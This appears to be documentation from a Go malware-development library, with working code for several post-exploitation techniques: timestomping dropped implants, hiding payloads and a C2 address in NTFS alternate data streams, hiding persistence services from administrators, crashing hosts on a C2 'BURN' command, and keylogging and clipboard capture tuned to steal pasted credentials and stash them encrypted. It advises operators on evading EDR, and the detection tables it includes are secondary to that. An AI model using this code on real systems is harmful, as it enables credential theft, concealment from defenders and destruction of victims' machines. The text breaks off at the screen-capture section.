// Make impl.exe look 5 years old
old := time.Now().Add(-5 * 365 * 24 * time.Hour)
_ = timestomp.Set(`C:\Users\Public\impl.exe`, old, old)

Composed (with reference file)

Match a stable system binary so the dropped artefact blends with neighbours:

ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, `C:\Users\Public\impl.exe`)

Advanced (chain into wipe + selfdelete)

Reset directory metadata so the parent doesn't show "recently modified":

ref := `C:\Windows\System32\notepad.exe`
_ = timestomp.CopyFrom(ref, filepath.Dir(target))
_ = wipe.File(target, 3)
_ = timestomp.CopyFrom(ref, filepath.Dir(target)) // re-stomp after unlink
_ = selfdelete.Run()

Complex (build-time stomping)

For implants you build and deliver — not for runtime cleanup:

//go:build ignore

// Pre-flight build hook: make the dropped EXE look like cmd.exe in a
// snapshot from 2019 (BUILD-TIME, not runtime).
_ = timestomp.CopyFrom("samples/cmd.exe", "dist/impl.exe")

OPSEC & Detection

ArtefactWhere defenders look
$STANDARD_INFORMATION recently changed but $FILE_NAME unchangedSleuth Kit istat, Plaso, MFTECmd
SetFileTime API call on a file in a writable user directoryEDR file-IO event aggregation (low-fidelity)
Cluster of files with identical $SI timestampsStatistical hunt — multiple stomped files often inherit identical times

D3FEND counter: D3-FH (weak; the real counter is MFT analysis). Hardening: enable audit-policy on file modifications in critical directories.

MITRE ATT&CK

T-IDNameSub-coverage
T1070.006Indicator Removal: Timestomp$STANDARD_INFORMATION-only variant

Limitations

  • $FILE_NAME not touched. A forensic comparison defeats this. To also rewrite $FN, kernel-mode access (a driver, or a BYOVD primitive) is needed — out of scope for this package.
  • Resolution differs by filesystem. NTFS stores 100-ns precision; FAT32 stores 2-second precision. Cloning from NTFS to FAT32 truncates.
  • Some $SI triggers (e.g. content rewrite by another tool, AV scan) re-update the timestamps after the stomp. Stomp last in the cleanup sequence.

See also

NTFS Alternate Data Streams

← cleanup index · docs/index

TL;DR

NTFS lets you attach named data streams to any file. The streams share the host file's MFT entry / ACL / timestamps but are invisible to dir, Explorer, Get-ChildItem, and most file-listing APIs. Useful as a quiet stash for payloads, config, encrypted second-stage bytes, etc.

You want to…UseNotes
Hide a second-stage payload in an existing fileWrite\\file.txt:hidden:$DATA
Read it backReadSame syntax — both stager and host file unaffected
Enumerate hidden streams on a fileListReturns names only; not visible to dir
Drop a stream without altering the host fileDeleteRemoves only the named stream

What this DOES achieve:

  • Stash data on disk without creating a "new file" — defenders enumerating new files in \Users\Public\ see only what was there before; ADS payload is invisible.
  • ACL inheritance from the host file — a stream attached to notepad.exe inherits notepad.exe's ACL.
  • Survives os.Stat (the host file's size unchanged from the perspective of standard APIs).

What this does NOT achieve:

  • Sysmon EID 15 (FileCreateStreamHash) catches every write — named-stream creation is logged by default-Sysmon-config installations. Stash with care.
  • dir /R shows them — defenders running it (or PowerShell Get-Item -Stream *) see every stream. Standard tools don't, but specialised triage scripts do.
  • NTFS only — no FAT / exFAT / network shares. Mail attachments + zip extraction strip ADS by design.
  • Mark-of-the-Web (Zone.Identifier) is also an ADS — removing it via this package's Delete clears the SmartScreen warning but leaves your own audit trail in $LogFile / $UsnJrnl.

Primer

Every file on an NTFS volume has a default unnamed data stream (:$DATA) — that's what cat / Get-Content reads. NTFS additionally allows arbitrary named streams attached to the same file. The streams share the file's MFT entry, ACL, and timestamps; they're addressable as file.txt:hidden:$DATA. Most user-facing tooling ignores everything but the default stream, which makes ADS a quiet stash spot.

ADS support is filesystem-bound. NTFS supports it; FAT32, exFAT, ext4, and any non-Windows filesystem do not. Crossing a non-NTFS boundary (e.g., copying to a USB stick) silently drops the streams.

How it works

sequenceDiagram
    participant Caller
    participant ads
    participant Kernel as "NTFS driver"
    participant File as "some.txt"
    Caller->>ads: Write("some.txt", "hidden", payload)
    ads->>Kernel: CreateFileW("some.txt:hidden", GENERIC_WRITE)
    Kernel->>File: allocate/locate stream "hidden"
    Kernel-->>ads: HANDLE
    ads->>Kernel: WriteFile(HANDLE, payload)
    ads->>Kernel: CloseHandle(HANDLE)
    ads-->>Caller: nil

The package wraps CreateFileW with the colon-suffix syntax. The kernel handles stream allocation transparently. List uses NtQueryInformationFile(FileStreamInformation) to walk the MFT entry's stream attribute list.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/ads is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/ads"

_ = ads.Write(`C:\Users\Public\desktop.ini`, "config", []byte("c2=1.2.3.4"))

cfg, _ := ads.Read(`C:\Users\Public\desktop.ini`, "config")

streams, _ := ads.List(`C:\Users\Public\desktop.ini`)
// streams: []string{"config"}

_ = ads.Delete(`C:\Users\Public\desktop.ini`, "config")

Composed (with crypto)

key := crypto.RandomKey(32)
ct, _ := crypto.AESGCMEncrypt(key, []byte(state))
_ = ads.Write(`C:\Windows\Temp\index.dat`, "s", ct)

// Later:
ct, _ = ads.Read(`C:\Windows\Temp\index.dat`, "s")
state, _ := crypto.AESGCMDecrypt(key, ct)

Advanced (chain with selfdelete)

cleanup/selfdelete uses ADS rename internally:

// selfdelete renames the default stream to ":x" via the same primitive
// surface the ads package exposes, then sets DELETE disposition.
// See cleanup/selfdelete/selfdelete.go for the full sequence.
selfdelete.Run()

OPSEC & Detection

ArtefactWhere defenders look
MFT entry size grows when stream is addedNTFS forensic tools (Sleuth Kit, Plaso)
CreateFileW with colon-suffix pathEDR file-IO event aggregation; rare in benign software
dir /R lists all streamsManual triage
Get-Item -Stream * (PowerShell)Manual hunt
Sysinternals Streams toolForensic walkthrough

D3FEND counter: D3-FCR (File Content Rules) — antivirus engines can scan named streams when configured.

MITRE ATT&CK

T-IDNameSub-coverage
T1564.004Hide Artifacts: NTFS File AttributesNamed-stream payload storage

Limitations

  • NTFS-only. Cross-filesystem copy drops streams.
  • Many AVs scan ADS. Defender enumerates and scans named streams by default since Win10 1607.
  • Mark-of-the-Web stream (Zone.Identifier) is added automatically to internet-downloaded files; collisions are unlikely but worth avoiding (don't use Zone.Identifier as your stream name).
  • Backup tools (Robocopy with /B, Windows Backup) preserve streams; unaware tools (copy, xcopy without /B) silently drop them.
  • Stealth read of named ADS streams is non-trivial. ReadVia
    • nil-fallback uses path-based os.Open on <path>:<stream> — visible to path-hooking EDRs. The repo's bundled *stealthopen.Stealth routes through NTFS Object IDs which addresses the MFT entry only (main stream), not a specific named stream. A stealth-on-ADS read primitive needs a custom Opener built on NtCreateFile with the composite path; not provided by this package.

See also

Hide Windows services via DACL

← cleanup index · docs/index

TL;DR

You installed a persistence service (or want to hide an existing one) and want it invisible to standard service enumerators. This package replaces the service's DACL so even admins can't query its config or status through the SCM. The service still runs.

You want…UseEffect
Hide a service from services.msc / sc query / Get-ServiceHideService runs; querying returns ACCESS_DENIED
Restore visibilityUnhideRe-applies default DACL
Snapshot a DACL before mutatingGetSecurityDescriptorFor backup/restore by the operator

What this DOES achieve:

  • services.msc, sc query, Get-Service, Win32_Service WMI all see "access denied" or skip the service entirely.
  • Naive EDR enumerators (EnumServicesStatusEx) skip inaccessible services by default.
  • Service still runs — Stop-Service from a process holding the original handle still works; the OS just blocks new enumeration.

What this does NOT achieve:

  • Doesn't hide from the kernelEtwTI Service Control Manager events fire on service start regardless. Defenders watching ETW kernel-level service events still see you.
  • Sophisticated EDR enumerators open services with low privileges first, retry with elevated. They notice the ACCESS_DENIED anomaly + log it.
  • Doesn't hide registry tracesHKLM\SYSTEM\CurrentControlSet\Services\<name> is still visible to reg query / Get-ChildItem from any user with read access to the registry key. Combine with registry-key DACL hardening (out of scope here).
  • Reboot persistence depends on the registry config — the DACL change is on the SCM in-memory copy. After reboot, the SCM re-reads the registry — your DACL change is lost unless persisted there too.

Primer

Every Windows service has a security descriptor controlling who can query, start, stop, change config, or change ACL on it. The default DACL grants SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL to interactive users and admins. Replacing that DACL with one that denies those rights makes the service invisible to standard listing tools without affecting its execution.

The persistence side (creating + starting the service) lives in persistence/service. This package handles the hiding side, applied AFTER install.

How it works

sequenceDiagram
    participant Caller
    participant SCM
    participant Service
    Caller->>SCM: OpenSCManager(SC_MANAGER_ALL_ACCESS)
    Caller->>SCM: OpenService(svcName, WRITE_DAC | READ_CONTROL)
    SCM-->>Caller: HANDLE
    Caller->>Service: SetNamedSecurityInfo(SE_SERVICE, DACL_SECURITY_INFORMATION, restricted-DACL)
    Service-->>Caller: ERROR_SUCCESS
    Note over SCM,Service: subsequent EnumServicesStatus calls<br>filter out the service for non-SYSTEM callers

The restricted DACL the package applies:

D:(D;;CCSWLOLCRC;;;IU)
 (D;;CCSWLOLCRC;;;SU)
 (D;;CCSWLOLCRC;;;BA)
 (A;;LCRPRC;;;SY)
  • D entries deny CCSWLOLCRC (query config / status / control / read control) to Interactive Users (IU), Service users (SU), Built-in Admins (BA).
  • A entry allows LCRPRC (read DACL + read control + start) to SYSTEM only.

Result: the service runs as SYSTEM, but only SYSTEM can enumerate it.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/service is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/cleanup/service"

if _, err := service.HideService(service.Native, "", "MyService"); err != nil {
    log.Fatal(err)
}
// MyService runs but does not appear in services.msc / sc query / Get-Service.

// Restore at end of mission:
_, _ = service.UnHideService(service.Native, "", "MyService")

Composed (with persistence/service)

// Install + start
_ = persistenceService.InstallAndStart("MyService", "C:\\Path\\to\\impl.exe")
// Hide
_, _ = service.HideService(service.Native, "", "MyService")

Advanced — remote hide via UNC

out, err := service.HideService(service.SC_SDSET, `\\TARGET-HOST`, "MyService")
if err != nil {
    log.Fatalf("hide on TARGET-HOST: %v\noutput: %s", err, out)
}

OPSEC & Detection

ArtefactWhere defenders look
Security event 4670 (DACL change on object)Audit Object Access policy must be enabled
Sysmon Event 4697 (service control change)Always logged when Sysmon configured
Service still listed in HKLM\SYSTEM\CurrentControlSet\Services\<name>Registry-based enumeration sees through DACL
EnumServicesStatusEx from SYSTEM context returns the serviceEDR running as SYSTEM is unaffected

D3FEND counter: D3-RAPA (Resource Access Pattern Analysis) — registry-based service enumeration defeats DACL hiding. Hardening: scan HKLM\SYSTEM\CurrentControlSet\ Services\ directly, not via SCM.

MITRE ATT&CK

T-IDNameSub-coverage
T1564Hide ArtifactsDACL-based service hiding
T1543.003Create or Modify System Process: Windows Servicehide-side companion to install/start

Limitations

  • Requires SeTakeOwnership / WRITE_DAC. Standard admin OK; non-admin cannot rewrite the security descriptor.
  • Defeated by registry enumeration. Anyone who reads HKLM\SYSTEM\ CurrentControlSet\Services\ directly sees the service regardless.
  • SYSTEM-context EDR is unaffected. The DACL allows SYSTEM read.
  • Audit policy on object access logs Event 4670 for the DACL change itself; not always enabled by default but trivial for blue to enable.
  • SC_SDSET mode shells out to sc.exe — leaves a child-process artefact that Native mode avoids.

See also

Controlled Blue Screen of Death

← cleanup index · docs/index

[!CAUTION] This is a destructive, irreversible primitive. Calling bsod.Trigger crashes the host immediately. Use only as a last-resort kill switch when stopping log shipping or process collection is more valuable than the host. The example tests are gated behind a build tag and do not run by default.

TL;DR

Last-resort kill switch: crash the host so in-memory state (unflushed logs, EDR's pending event queue, your secrets) is destroyed before anything can hit disk.

You're up against…UseCost
EDR about to ship telemetry, no time to wipe gracefullyTriggerOne syscall, host gone
Just want to wipe memoryDon't use this — see memory-wipeReversible cleanup

Destructive and irreversible. The host reboots immediately. Use only when stopping log shipping is more valuable than the host itself. Tests for this primitive are gated behind a build tag and never run in CI by default.

What this DOES achieve:

  • Pending writes in EDR's user-mode buffers, Event Log service queues, and Sysmon's pre-flush state are all lost.
  • Memory dumps that would have captured your shellcode / keys are gone — kernel produces a minidump on next boot which excludes user-mode allocations by default.
  • One-syscall trigger; no need for admin shell — only SeShutdownPrivilege (granted by default to interactive users).

What this does NOT achieve:

  • Doesn't hide that it happened — Event Log entry "0xDEADBEEF" + MEMORY.DMP on disk after reboot tell the forensic team a process called NtRaiseHardError. This is a panic button, not stealth.
  • Doesn't survive the reboot — your implant is gone. Persistence (auto-start service / registry run key / scheduled task) must be in place beforehand.
  • Doesn't wipe disk artefacts — anything already on disk (your dropper, prefetch, recent file activity) survives. Pair with cleanup/wipe BEFORE crashing.

Primer

NtRaiseHardError is the kernel's mechanism for raising errors from user-mode that the kernel decides how to handle. With the right parameters (notably OptionShutdownSystem), the kernel treats the report as an unrecoverable system fault and crashes immediately with the specified bug-check code (KeBugCheckEx).

The technique requires SeShutdownPrivilege, which any process running as a Medium-IL user with that privilege available can enable via RtlAdjustPrivilege. Most local accounts have it.

Use cases:

  • Operator wants to abort an exfil operation when an EDR alert fires — faster to crash the host than to clean up.
  • Anti-forensic last resort: terminate the implant + all running collection agents in one shot.
  • Red-team exercise: validate the blue team's "host went silent" response.

How it works

sequenceDiagram
    participant Caller
    participant ntdll
    participant Kernel
    Caller->>ntdll: RtlAdjustPrivilege(SeShutdownPrivilege, true)
    ntdll-->>Caller: NTSTATUS_SUCCESS
    Caller->>ntdll: NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6 /* OptionShutdownSystem */)
    ntdll->>Kernel: NtRaiseHardError syscall
    Kernel->>Kernel: KeBugCheckEx(0xc0000420, ...)
    Note over Kernel: BSOD — host crashes

OptionShutdownSystem (value 6) tells the kernel to treat the hard error as fatal. The supplied status code propagates into the bug-check parameter shown on the BSOD screen.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/cleanup/bsod is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

//go:build windows
package main

import (
    "github.com/oioio-space/maldev/cleanup/bsod"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirect, nil)
    if err := bsod.Trigger(caller); err != nil {
        // Reached only on failure; host doesn't come back on success.
        panic(err)
    }
}

Composed — guard with explicit operator confirmation

if !operatorConfirmed("really BSOD?") {
    return
}
// Wipe in-memory secrets first so even crash dumps reveal less.
memory.WipeAndFree(payloadAddr, payloadSize)
_ = bsod.Trigger(caller)

Advanced — chain with operator-side TLS handshake

A pattern from real ops: BSOD on receipt of a "BURN" command from C2.

go func() {
    for cmd := range c2Channel {
        if cmd == "BURN" {
            memory.WipeAndFree(stateAddr, stateSize)
            _ = bsod.Trigger(caller)
        }
    }
}()

OPSEC & Detection

ArtefactWhere defenders look
Bug-check itselfSystem event log Event 1001 (BugCheck), Event 41 (Kernel-Power) on next boot
Memory dump (if configured)C:\Windows\MEMORY.DMP (or C:\Dumps\ per WER LocalDumps) names the originating process
SeShutdownPrivilege adjustmentPre-crash ETW from Microsoft-Windows-Security-Auditing (Event 4673 with audit policy on)
Cluster of identical bug-checks across hostsSysmon-shipped Event 1001 in SIEM

D3FEND counter: D3-PSEP (weak — bug-checks are inherent to OS); the real counter is availability monitoring (host-up dashboard) and crash-dump analysis post-incident.

MITRE ATT&CK

T-IDNameSub-coverage
T1529System Shutdown/RebootForced bug-check variant

Limitations

  • SeShutdownPrivilege required. Sandboxed processes (Edge Renderer, AppContainer Store apps) cannot adjust this privilege.
  • Crash dump destination depends on system config. If the host is configured for kernel-only minidumps, the dump may not include the full process state — but it WILL include the originating thread.
  • VM hosts with snapshot-on-crash configurations may preserve state better than the operator wants.
  • Win11 modern standby — some bug-checks are recoverable on Win11 if the system is on AC power and the kernel decides to attempt recovery (rare for STATUS_ASSERTION_FAILURE-class codes).

See also

Collection techniques

← maldev README · docs/index

The collection/* package tree groups local data-acquisition primitives for post-exploitation: keystrokes, clipboard contents, screen captures. Each sub-package is self-contained and Windows-only — pick the data source the operator needs and import the matching package.

flowchart LR
    subgraph user [User session]
        KB[Keyboard input]
        CB[Clipboard]
        FB[Framebuffer]
    end
    subgraph collection [collection/*]
        K[keylog<br>WH_KEYBOARD_LL hook]
        C[clipboard<br>OpenClipboard + seq poll]
        S[screenshot<br>GDI BitBlt]
    end
    subgraph sink [Operator sink]
        OUT[stdout / file / C2 channel]
    end
    KB --> K
    CB --> C
    FB --> S
    K -. Ctrl+V .-> C
    K --> OUT
    C --> OUT
    S --> OUT

Where to start (novice path):

  1. clipboard — quietest collector. One-shot ReadText or polling Watch channel. Catches passwords pasted from password managers.
  2. screenshot — periodic visual capture. Useful for rich applications (banking, encrypted chat) where the actual data isn't accessible programmatically.
  3. keylog — last resort. Catches everything typed but the WH_KEYBOARD_LL hook is the textbook EDR signal. Use only when other paths don't suffice.

Packages

PackageTech pageDetectionOne-liner
collection/keylogkeylogging.mdnoisylow-level keyboard hook with per-event window/process attribution and Ctrl+V clipboard capture
collection/clipboardclipboard.mdquietone-shot ReadText plus Watch channel driven by GetClipboardSequenceNumber polling
collection/screenshotscreenshot.mdquietGDI BitBlt → PNG; primary, arbitrary rectangle, or per-monitor capture

Quick decision tree

You want to…Use
…record what the user types, with window contextkeylog.Start
…also capture pasted credentialskeylog.Start — Ctrl+V auto-snapshots clipboard into the event
…read clipboard once (e.g. after runas)clipboard.ReadText
…stream clipboard changes for a sessionclipboard.Watch
…grab the primary monitor as PNGscreenshot.Capture
…enumerate monitors first, then capture onescreenshot.DisplayCountCaptureDisplay
…crop to a specific UI region (e.g. an open RDP window)screenshot.CaptureRect

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1056.001Input Capture: Keyloggingcollection/keylogD3-PA
T1115Clipboard Datacollection/clipboard, collection/keylog (paste capture)D3-PA
T1113Screen Capturecollection/screenshotD3-PA

Cross-referenced techniques

Two adjacent collection workflows live under sibling areas. They are listed here as a navigation convenience; their canonical homes are the packages that own them.

Area concernTech pageOwning package
NTFS Alternate Data Streams (hide collected data in :stream suffixes)alternate-data-streams.mdcleanup/ads
LSASS minidump (in-process MINIDUMP assembly via NtReadVirtualMemory)lsass-dump.mdcredentials/lsassdump

[!NOTE] Both pages will move to their owning areas in Phase 6 of the doc refactor (see .dev/refactor-2026/progress.md (internal: .dev/progress.md)).

See also

Keylogging

← collection index · docs/index

TL;DR

Install a WH_KEYBOARD_LL system-wide hook; every keystroke arrives in a Go channel with translated character, modifier flags, active-window title and owning-process path. On Ctrl+V the clipboard snapshot is bundled into the same event, capturing credential pastes automatically.

Primer

A low-level keyboard hook intercepts each WM_KEYDOWN message at the OS message-dispatch layer, before it reaches any application. This gives the implant a complete transcript of everything the user types — passwords, commands, search queries — across every window without injecting into any process.

Each Event carries the translated Unicode character (or a label such as [Enter], [Backspace], [F5]), the modifier state (Ctrl/Shift/Alt), the foreground window's title, and the executable path of the owning process. That attribution turns a raw character stream into a structured log: browser typed credentials, terminal commands, and document edits land in separate buckets with no additional work by the consumer.

The Ctrl+V case is handled specially: when a Ctrl+V chord is detected the hook reads the current clipboard text and attaches it to the event. This catches credential pastes that bypass keystroke-level keylogging entirely — a password manager that auto-fills via the clipboard never generates printable keystrokes.

The hook runs on a dedicated OS thread with its own Win32 message pump. The goroutine that calls Start returns immediately; the pump thread runs until the context is cancelled, at which point it posts WM_QUIT to itself and tears down cleanly.

How It Works

sequenceDiagram
    participant User
    participant OS as "Win32 message pump"
    participant Hook as "hookProc (LL hook)"
    participant Xlat as "ToUnicodeEx"
    participant Ch as "Event channel"
    participant Consumer

    User->>OS: WM_KEYDOWN (VkCode)
    OS->>Hook: hookProc(nCode, wParam, lParam)
    Hook->>Hook: GetAsyncKeyState (modifiers)
    Hook->>Hook: GetForegroundWindow + cache check
    Hook->>Xlat: VkCode + ScanCode + HKL
    Xlat-->>Hook: Unicode char (or dead-key pending)
    Hook->>Ch: Event{Character, Ctrl, Window, Process, …}
    Ch-->>Consumer: receive
    Hook->>OS: CallNextHookEx (pass-through)

Key implementation details:

  • ToUnicodeEx with wFlags=0x4 preserves dead-key state in the keyboard layout buffer, so accented characters (é, ü) are synthesised correctly without consuming the pending dead key.
  • Foreground-window resolution is cached by HWND and refreshed only on change — GetWindowText + QueryFullProcessImageName are expensive relative to the hook cadence.
  • AttachThreadInput is not used; modifier state is read via GetAsyncKeyState which does not require thread attachment.
  • A single global atomic.Pointer[hookState] serialises concurrent Start calls; a second call while a hook is active returns ErrAlreadyRunning.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/collection/keylog is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/collection/keylog"
)

ch, err := keylog.Start(context.Background())
if err != nil {
    panic(err)
}
for ev := range ch {
    fmt.Printf("[%s] %s", ev.Process, ev.Character)
    if ev.Clipboard != "" {
        fmt.Printf(" <paste: %q>", ev.Clipboard)
    }
    fmt.Println()
}

Composed (per-process segmentation)

import (
    "context"
    "fmt"
    "path/filepath"
    "strings"

    "github.com/oioio-space/maldev/collection/keylog"
)

func logByProcess(ctx context.Context) map[string]string {
    ch, _ := keylog.Start(ctx)
    bufs := map[string]*strings.Builder{}
    for ev := range ch {
        proc := strings.ToLower(filepath.Base(ev.Process))
        if bufs[proc] == nil {
            bufs[proc] = &strings.Builder{}
        }
        bufs[proc].WriteString(ev.Character)
        if ev.Clipboard != "" {
            bufs[proc].WriteString(fmt.Sprintf("[Paste:%q]", ev.Clipboard))
        }
    }
    out := make(map[string]string, len(bufs))
    for k, v := range bufs {
        out[k] = v.String()
    }
    return out
}

Advanced (encrypted ADS stash)

Buffer keystrokes, encrypt each chunk with AES-GCM, and hide the ciphertext in an NTFS Alternate Data Stream on an existing system file.

import (
    "context"
    "strings"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/keylog"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\caches.db`
    adsStream = "log"
)

func main() {
    ctx := context.Background()
    ch, _ := keylog.Start(ctx)
    key, _ := crypto.NewAESKey()
    var buf strings.Builder

    for ev := range ch {
        buf.WriteString(ev.Character)
        if buf.Len() < 512 {
            continue
        }
        blob, _ := crypto.EncryptAESGCM(key, []byte(buf.String()))
        buf.Reset()
        existing, _ := ads.Read(adsHost, adsStream)
        _ = ads.Write(adsHost, adsStream, append(existing, blob...))
    }
}

See ExampleStart in keylog_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
SetWindowsHookEx(WH_KEYBOARD_LL) callSysmon Event 7 (image load) and ETW Microsoft-Windows-Win32k; EDRs specifically watch LL hook installation
Global hook DLL loaded into every GUI processDefender / MDE module-load telemetry
Sustained GetMessage loop in a non-UI processBehavioural heuristics — unusual message-pump activity
GetForegroundWindow + QueryFullProcessImageName pairsEDR API telemetry; rate unusually high for non-accessibility software
GetClipboardData on every Ctrl+VClipboard access telemetry (Windows 10 1809+, Controlled Folder Access)

D3FEND counters:

  • D3-PA — behavioural analysis of process API usage patterns.
  • D3-SCA — system-call sequence analysis, catches unusual LL hook setup.

Hardening for the operator: run inside a process that legitimately installs hooks (accessibility layer, IME, screen reader lookalike); avoid calling Start from a headless service where a message pump is anomalous.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1056.001Input Capture: Keyloggingfull — WH_KEYBOARD_LL hookD3-PA
T1115Clipboard Datapartial — captured only on Ctrl+V paste eventsD3-PA

Limitations

  • One hook per process. ErrAlreadyRunning prevents double-installation; multiple concurrent keylog sessions require separate processes.
  • Requires a Windows GUI session. SetWindowsHookEx(WH_KEYBOARD_LL) is rejected in sessions without a desktop (SYSTEM service, Session 0).
  • Non-BMP Unicode. Surrogate-pair characters (emoji, rare CJK) may appear split across two events or transliterated; ToUnicodeEx returns two UTF-16 words in sequence.
  • EDR hook visibility. LL hooks are among the most scrutinised API calls in endpoint detections; combine with process masquerading if stealth is required.

See also

Clipboard capture

← collection index · docs/index

TL;DR

ReadText returns the current clipboard text in one call. Watch polls GetClipboardSequenceNumber and streams each new distinct text value on a channel until the context is cancelled — no hooks, no DLL injection, pure Win32 API that blends with legitimate software traffic.

Primer

Users routinely copy passwords, API keys, and session tokens to the clipboard — from password managers, browser address bars, and SSH key files. Clipboard monitoring captures that data in transit regardless of how the application populates the clipboard.

The implementation deliberately avoids clipboard notification hooks (AddClipboardFormatListener, SetClipboardViewer). Those mechanisms require a message window and are scrutinised by EDRs. Instead, Watch polls GetClipboardSequenceNumber, a lightweight integer that the OS increments on every clipboard write. When the number changes, OpenClipboard + GetClipboardData(CF_UNICODETEXT) reads the new content. The poll interval is caller-controlled: aggressive (100 ms) catches rapid-fire credential pastes; gentle (1–5 s) is indistinguishable from benign polling.

ReadText is a one-shot variant for the case where the operator wants to snapshot the clipboard immediately after gaining execution — for instance, after a runas escalation that may have left a password on the clipboard.

How It Works

sequenceDiagram
    participant User
    participant App
    participant OS as "Windows Clipboard"
    participant Watch as "clipboard.Watch()"

    User->>App: Ctrl+C (copy credential)
    App->>OS: SetClipboardData(CF_UNICODETEXT)
    OS->>OS: increment sequence number

    loop every pollInterval
        Watch->>OS: GetClipboardSequenceNumber()
        alt sequence changed
            Watch->>OS: OpenClipboard(0)
            Watch->>OS: GetClipboardData(CF_UNICODETEXT)
            OS-->>Watch: UTF-16LE handle
            Watch->>Watch: UTF-16LE → UTF-8
            Watch->>Watch: emit on channel
            Watch->>OS: CloseClipboard()
        end
    end

Key implementation details:

  • GetClipboardSequenceNumber requires no clipboard ownership and no message window — it is a pure read of a kernel counter.
  • OpenClipboard(0) (null HWND) is valid and avoids creating a fake window that process-enumeration tools could flag.
  • On ErrOpen (another process holds the clipboard momentarily) Watch silently skips the tick rather than blocking — the next tick will retry.
  • The first value is emitted unconditionally on Watch start, regardless of whether the sequence number has changed since the last call.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/collection/clipboard is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "fmt"
    "time"

    "github.com/oioio-space/maldev/collection/clipboard"
)

// One-shot read.
text, err := clipboard.ReadText()
if err == nil {
    fmt.Println(text)
}

// Continuous monitor — print every change.
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
for content := range clipboard.Watch(ctx, 500*time.Millisecond) {
    fmt.Println("copied:", content)
}

Composed (credential filter)

Emit only values that look like credentials — reduces noise and limits the on-disk footprint.

import (
    "context"
    "strings"
    "time"
    "unicode"

    "github.com/oioio-space/maldev/collection/clipboard"
)

func looksLikeCredential(s string) bool {
    if len(s) < 8 || len(s) > 512 {
        return false
    }
    hasDigit, hasUpper, hasSpecial := false, false, false
    for _, r := range s {
        switch {
        case unicode.IsDigit(r):
            hasDigit = true
        case unicode.IsUpper(r):
            hasUpper = true
        case !unicode.IsLetter(r) && !unicode.IsDigit(r):
            hasSpecial = true
        }
    }
    return (hasDigit && hasUpper) || hasSpecial ||
        strings.ContainsAny(s, "@:$%#")
}

func credentialWatch(ctx context.Context) <-chan string {
    out := make(chan string)
    go func() {
        defer close(out)
        for text := range clipboard.Watch(ctx, 300*time.Millisecond) {
            if looksLikeCredential(text) {
                out <- text
            }
        }
    }()
    return out
}

Advanced (encrypt-then-log to per-day file)

Encrypt each clipboard entry with AES-GCM before writing to disk — the on-disk artefact is opaque to YARA/string scanning.

import (
    "context"
    "fmt"
    "log"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/clipboard"
    "github.com/oioio-space/maldev/crypto"
)

func main() {
    key, err := crypto.NewAESKey()
    if err != nil {
        log.Fatal(err)
    }
    logPath := fmt.Sprintf("clip-%s.bin", time.Now().Format("2006-01-02"))
    f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
    if err != nil {
        log.Fatal(err)
    }
    defer f.Close()

    for text := range clipboard.Watch(context.Background(), 500*time.Millisecond) {
        blob, _ := crypto.EncryptAESGCM(key, []byte(text))
        _, _ = f.Write(blob)
    }
}

See ExampleReadText in clipboard_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Repeated OpenClipboard + GetClipboardData callsAPI-frequency telemetry; rate-based hunts flag >10 open/close cycles per second
GetClipboardSequenceNumber in a tight loopBehavioural heuristics; legitimate apps call this at human-interaction rates
Clipboard-access audit log (Windows 10 1809+)Privacy Settings → Clipboard history; third-party EDR clipboard hooks
Process making clipboard calls without a visible UIAnomaly heuristics in MDE / CrowdStrike behavioural engine

D3FEND counters:

  • D3-PA — behavioural API-usage analysis.

Hardening for the operator: use a 500 ms or slower poll interval; embed the monitor in a process that legitimately accesses the clipboard (browser helper, password-manager lookalike); avoid running from a headless service where clipboard access is anomalous.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1115Clipboard Datafull — both one-shot and continuous pollingD3-PA

Limitations

  • Text only. CF_UNICODETEXT format only; binary clipboard data (images, file paths via CF_HDROP, rich text) is not captured.
  • Session boundary. Clipboard access is confined to the current Windows session; an implant in Session 0 cannot read Session 1 clipboard data.
  • Race on ErrOpen. If another process holds the clipboard continuously (rare but possible), Watch will silently miss those ticks.
  • Windows only. No Linux/macOS equivalent; build tag windows is required.

See also

  • Keylogging — captures Ctrl+V paste events as part of the keystroke stream.
  • Screen capture — visual complement to clipboard and keystroke collection.
  • crypto — encrypt captured text before writing to disk.
  • cleanup/ads — hide log files in NTFS ADS.
  • Operator path — post-exploitation collection chains.
  • Detection eng path — clipboard monitoring detection telemetry.

Screen capture

← collection index · docs/index

TL;DR

Capture() returns the entire virtual desktop as PNG bytes using GDI BitBlt. For multi-monitor targets, DisplayCount + CaptureDisplay(i) enumerate and capture individual screens. CaptureRect grabs any rectangular region. All three variants return []byte — send directly to a C2 channel or stash in an ADS.

Primer

